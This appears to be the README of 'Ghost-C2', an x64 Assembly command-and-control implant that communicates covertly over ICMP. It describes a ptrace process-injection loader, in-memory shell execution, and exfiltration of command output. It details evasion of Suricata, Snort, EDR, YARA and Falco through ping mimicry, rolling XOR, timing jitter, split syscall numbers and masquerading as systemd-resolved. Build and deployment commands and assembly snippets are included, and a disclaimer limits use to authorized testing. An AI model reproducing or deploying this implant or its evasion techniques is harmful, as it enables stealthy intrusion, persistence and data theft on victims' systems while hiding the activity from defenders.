________ ___ ___ ________ ________ _________ ________ ________
|\ ____\|\ \|\ \|\ __ \|\ ____\|\___ ___\ |\ ____\|\_____ \
\ \ \___| \ \ \\\ \ \ \|\ \ \ \___|\|___ \ \_| \ \ \___|\|____|\ \
\ \ \ __ \ \ __ \ \ \\\ \ \_____ \ \ \ \ \ \ \ ____\_\ \
\ \ \|\ \ \ \ \ \ \ \\\ \|____|\ \ \ \ \ \ \ \___|\____ \ \
\ \_______\ \__\ \__\ \_______\____\_\ \ \ \__\ \ \______\\_________\
\|_______|\|__|\|__|\|_______|\_________\ \|__| \|______\|_________|
\|_________|
A fileless, pure x64 Assembly C2 implant using ICMP as a covert channel.
Zero libc. Zero disk. Invisible to standard EDR hooks.
Ghost-C2 is a command-and-control framework written entirely in pure x64 Linux Assembly with no libc dependencies. Every operation goes through direct syscalls. There are no import tables, no dynamic linker artifacts, and no disk writes.
The C2 channel runs over raw ICMP sockets, hiding inside standard diagnostic traffic. The implant lives exclusively in RAM, injected into a running system process via a custom ptrace-based loader.
This project was built to explore how far user-space stealth can go without touching the kernel.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OPERATOR MACHINE β
β β
β ββββββββββββββββ β
β β client.asm β β Terminal UI: prompt for IP + command β
β β (Operator β Encrypts payload with Rolling XOR β
β β Console) β Sends ICMP Echo Request (Type 8) β
β ββββββββ¬ββββββββ Auth key: ID + SEQ = 45,000 β
β β β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββββ
β Raw ICMP (port-less, stateless)
β
ββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββββββββββ
β β TARGET MACHINE β
β βΌ β
β ββββββββββββββββ βββββββββββββββββββββββββββββββββββ β
β β loader.asm ββββββΆβ sniff.asm (PIC) β β
β β (Phantom β β Lives in RAM only β β
β β Loader) β β inside host process β β
β ββββββββββββββββ ββββββββββββββββββ¬βββββββββββββββββ β
β β β
β 1. Scans /proc for target PID β Receives ICMP Req β
β 2. ptrace ATTACH β Validates auth β
β 3. Force remote mmap (RW) β Decrypts command β
β 4. Inject PIC shellcode β fork+execve β
β 5. mprotect β RX β memfd_create β
β 6. Redirect RIP β shellcode β Compress(DPCM-RLE)β
β 7. ptrace DETACH β exits β Encrypt & Frag. β
β β Sends ICMP Reply β
β β (Auth: 55,000) β
βββββββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββ
β Raw ICMP + Jitter
βΌ
[ client.asm ]
Receives & Validates
Decrypts Payload
Decompresses (Hybrid)
Reassembles & Prints
The attacker-side terminal. Takes a target IP and command from stdin, encrypts the payload, and dispatches it as an ICMP Echo Request. Listens for fragmented ICMP Echo Replies and reconstructs the output.
The implant running on the target. Compiled as a raw binary (position-independent, no ELF headers) so it can be injected into arbitrary memory addresses. It:
- Listens passively on a raw ICMP socket
- Validates incoming packets using the asymmetric key sum
- Decrypts the command, forks a shell, captures output via
memfd_create - Fragments and sends the output back in 56-byte ICMP chunks
The delivery mechanism. Scans /proc, finds a target process by comm name, and injects the PIC shellcode into it using a multi-stage ptrace state machine. Exits cleanly after injection β leaves no trace.
Ghost-C2's data transmission engine utilizes a hybrid compression and encoding layer heavily optimized in x86-64 Assembly. This architecture reduces data volume while ensuring the traffic profile remains natural.
Instead of transmitting raw ASCII values, the engine calculates and sends the mathematical difference (Delta) between a reference character (Anchor) and the subsequent ones. This method drastically lowers the entropy of data with similar character ranges.
mov al, byte [rsi] ; Read new character
mov dl, al
sub al, bl ; Calculate difference (Delta) from Anchor (bl)
mov r9b, al ; Save Delta
mov bl, dl ; Set new AnchorWorking in tandem with DPCM, the RLE engine packs consecutive spaces and repeating permission blocksβfrequently seen in outputs like ls -laβat the bit level.
.comp_flush:
mov byte [rdi], r8b ; Write repetition count (Count)
inc rdi
mov byte [rdi], r9b ; Write Delta valueBandwidth Optimization: Reduces the overall data payload by an average of 40% to 55% for text-based command outputs (ASCII/UTF-8).
Minimal Network Footprint: Shrinking the data payload halves the number of injected ICMP packets, significantly lowering the risk of triggering IDS/IPS anomaly radars.
100% Data Fidelity: Stack offsets are strictly confined to a safe memory region (0x100000), and synchronization desyncs have been eliminated. Massive datasets of 20KB+ (e.g., /etc dumps) are reliably transmitted without shifting a single bit.
dpcm-rle-hybrid-x64-compressor: https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine
Every outgoing ICMP packet is structured to be indistinguishable from a standard Linux ping:
Offset 0-7 : ICMP Header (Type, Code, Checksum, ID, SEQ)
Offset 8-15 : Dynamic RDTSC timestamp β mimics struct timeval
Offset 16-31 : 0x10, 0x11 ... 0x1F β exact Linux iputils padding
Offset 32+ : Encrypted payload β past most DPI scan depth
Signature-based IDS engines (Suricata, Snort) see standard padding and stop scanning before reaching the payload. This is the Stealth Gap.
The implant ignores all packets where ID + SEQ β 45,000. Random internet scanners, automated security tools, and honeypots will never trigger it. The implant replies with packets where ID + SEQ = 55,000, making the two directions mathematically distinct and preventing OS echo confusion.
Both directions are encrypted with a progressively shifting key:
mov dl, 0x42 ; seed
xor [rsi], dl ; encrypt byte
add dl, 0x07 ; shift key
inc rsi
loop .loopThis keeps Shannon entropy low β AES-encrypted ICMP traffic scores ~8.0 and triggers DPI anomaly alerts. Rolling XOR produces entropy that looks like compressed or naturally noisy data. No cryptographic constants, no S-boxes, nothing for YARA to match.
Packet transmission intervals are randomized using the CPU's hardware timestamp counter, not software timers. This produces timing patterns that are mathematically non-periodic β ML-based NTA engines (Darktrace, Cisco Stealthwatch) require periodicity to flag C2 beaconing.
rdtsc
xor rdx, rdx
mov ecx, 900000000
div ecx ; RDX = random 0β900ms
add edx, 100000000 ; minimum 100msCommand output never touches disk:
fork()
child: dup2(memfd, stdout) β execve("/bin/sh", ["-c", cmd])
parent: wait4() β lseek(0) β read loop β fragment β send
The memfd is named [shm], matching the format of legitimate shared memory mappings in /proc/PID/fd. Standard lsof output shows nothing suspicious.
Modern kernel mitigations forbid RWX memory. The loader uses a two-phase approach:
Phase 1: Remote mmap with PROT_READ | PROT_WRITE
β Inject shellcode via PTRACE_POKEDATA
Phase 2: Remote mprotect β PROT_READ | PROT_EXEC
β No page is ever simultaneously W and X
EDR memory scanners looking for RWX anomalies find nothing.
All syscall numbers are split across two instructions to defeat static analysis and simple grep-based scanners:
; sys_memfd_create (319)
mov rax, 300
add rax, 19
syscall
; sys_ptrace (101)
mov rax, 99
add rax, 2
syscallThe loader performs a deterministic, multi-step injection without any external dependencies:
1. Open /proc with sys_getdents64
2. Scan linux_dirent64 entries for numeric directories (PIDs)
3. Read /proc/<PID>/comm β compare against target name
4. ptrace(PTRACE_ATTACH, pid)
5. wait4() loop with branchless sleep (cmovz/cmovs)
6. PTRACE_GETREGS β save register state + RIP
7. PTRACE_POKEDATA β write syscall opcode (0x050F) at RIP
8. PTRACE_SETREGS β configure mmap arguments in registers
9. PTRACE_SINGLESTEP β execute remote mmap
10. wait4() β PTRACE_GETREGS β read mmap return value (new address)
11. PTRACE_POKEDATA loop β write 1444-byte PIC payload (8 bytes/iter)
12. PTRACE_SETREGS β configure mprotect (PROT_READ | PROT_EXEC)
13. PTRACE_SINGLESTEP β execute remote mprotect
14. PTRACE_POKEDATA β restore original bytes at RIP
15. PTRACE_SETREGS β set RIP = injected payload address
16. PTRACE_DETACH β host process resumes, now running the implant
The loader exits immediately after step 16. The host process continues its normal operation with Ghost-C2 running inside it.
Known Limitation: Processes confined by AppArmor or SELinux (enforce mode) will block
mprotectacross different memory regions. The loader targets unconfined root processes such ascronorVBoxService. A bypass for MAC-confined services is planned for v4.x.
- NASM (Netwide Assembler)
- GNU ld (linker)
- Root privileges (required for raw sockets and ptrace)
# Build the agent
nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved
# Build the client
nasm -f elf64 client.asm -o client.o && ld client.o -o client
# Deploy (target machine)
sudo ./systemd-resolved
# Operate (attacker machine)
sudo ./clientTip: Name the binary at least 15 characters (e.g.,
systemd-resolved) to provide enough stack buffer for cleanargv[0]overwrite without environment variable bleed.
After deployment, the agent disappears from standard process listings:
$ ps aux | grep systemd-resolved
root 3887 0.0 0.0 192 16 ? Ss 19:42 0:00 systemd-resolvedThe only way to identify the true binary is through /proc:
$ sudo ls -la /proc/3887/exe
lrwxrwxrwx 1 root root 0 ... /proc/3887/exe -> /path/to/systemd-resolvedThe PIC shellcode is pre-compiled and already embedded in loader.asm. Only rebuild it if you modify the agent source:
# (Optional) Recompile PIC shellcode after modifying sniff_pic.asm
cd Phantom_Loader
nasm -f bin sniff_pic.asm -o shellcode.bin
# Build the loader
nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader
# (Optional) Binary Optimization & Anti-Forensics
strip --strip-all loader
# Execute (target process must be running)
sudo strace ./loaderπ‘ Evasion Note (Syscall Noise Masking via LotL): Execution is intentionally wrapped with strace. This leverages a Living off the Land (LotL) technique to generate massive amounts of legitimate debugging noise. By flooding kernel-level eBPF sensors (like Falco) with standard PTRACE_ATTACH logs, the actual malicious injection is masked through "Alert Flooding". This effectively buries the single injection anomaly within a sea of standard debug operations, often causing defense mechanisms and analysts to dismiss the event as a false-positive.
The target process name is hardcoded in loader.asm. See inline comments to change it.
Tested in a controlled lab environment against active traffic inspection:
| Test | Result |
|---|---|
| Suricata v8.0.3 (Emerging Threats ruleset) | β Bypassed |
| Suricata v8.0.3 (Custom ICMP payload rules) | β Bypassed |
| DigitalOcean FRA1 gateway | β 100% exfiltration success |
| Alerts generated during ~25KB exfiltration | 0 |
Ghost-C2 interacts directly with the Linux kernel. No wrappers, no libc:
| Syscall | Number | Usage |
|---|---|---|
sys_socket |
41 | Raw ICMP socket creation |
sys_recvfrom |
45 | Passive ICMP packet capture |
sys_sendto |
44 | ICMP reply transmission |
sys_memfd_create |
319 | Anonymous RAM file for output |
sys_dup2 |
33 | stdout/stderr redirection |
sys_execve |
59 | Shell command execution |
sys_fork |
57 | Process isolation |
sys_nanosleep |
35 | Jitter implementation |
sys_ptrace |
101 | Process injection + anti-debug |
sys_prctl |
157 | Process masquerade + anti-dump |
sys_getdents64 |
217 | /proc directory parsing |
sys_mmap |
9 | Remote memory allocation |
sys_mprotect |
10 | W^X permission switch |
v4.x β MAC Bypass Research
The primary research target is bypassing AppArmor and SELinux confined processes. Current candidates:
- ROP-based execution using gadgets from the target's own executable memory (Living off the Land in memory)
- Dynamic ASLR defeat for gadget address resolution
- Eliminating
mprotectdependency entirely by executing within existing RX pages
This is a long-term R&D effort. Pure assembly ROP chain construction with dynamic gadget discovery is a non-trivial problem space.
The absence of a PTY is an architectural decision, not a limitation:
Protocol integrity: ICMP is stateless. Emulating TCP-like ordered delivery for a TTY stream would bloat the codebase and destroy the lightweight design.
Volumetric stealth: An interactive shell generates ICMP traffic for every keystroke. This creates a detectable frequency spike. Ghost-C2 is designed to stay below anomaly detection thresholds.
EDR surface: Allocating a PTY requires /dev/ptmx and ioctl calls that EDRs heavily monitor. Spawning an interactive shell without a legitimate parent daemon leaves behavioral artifacts.
Ghost-C2 is a hyper-stealth command execution and exfiltration implant. Interactivity trades invisibility for convenience β this project chose invisibility.
- Blog / Technical Writeup: netacoding.com/posts/icmp-ghost
- Author: github.com/JM00NJ
- Related Resource: netacoding.com/posts/compressdpcm-rle
Ghost-C2 is built with passion, sweat, and pure x64 Assembly. If this project helped you understand low-level evasion, protocol mimicry, or just made your red teaming operations smoother, consider supporting the development!
Your support helps me buy more coffee and spend more sleepless nights fighting SIGSEGV errors to bring you cleaner, stealthier implants.
π Become a Sponsor on GitHub
This project is developed for educational purposes and authorized penetration testing only. The author is not responsible for any misuse. Operating this tool against systems you do not own or have explicit written permission to test is illegal.
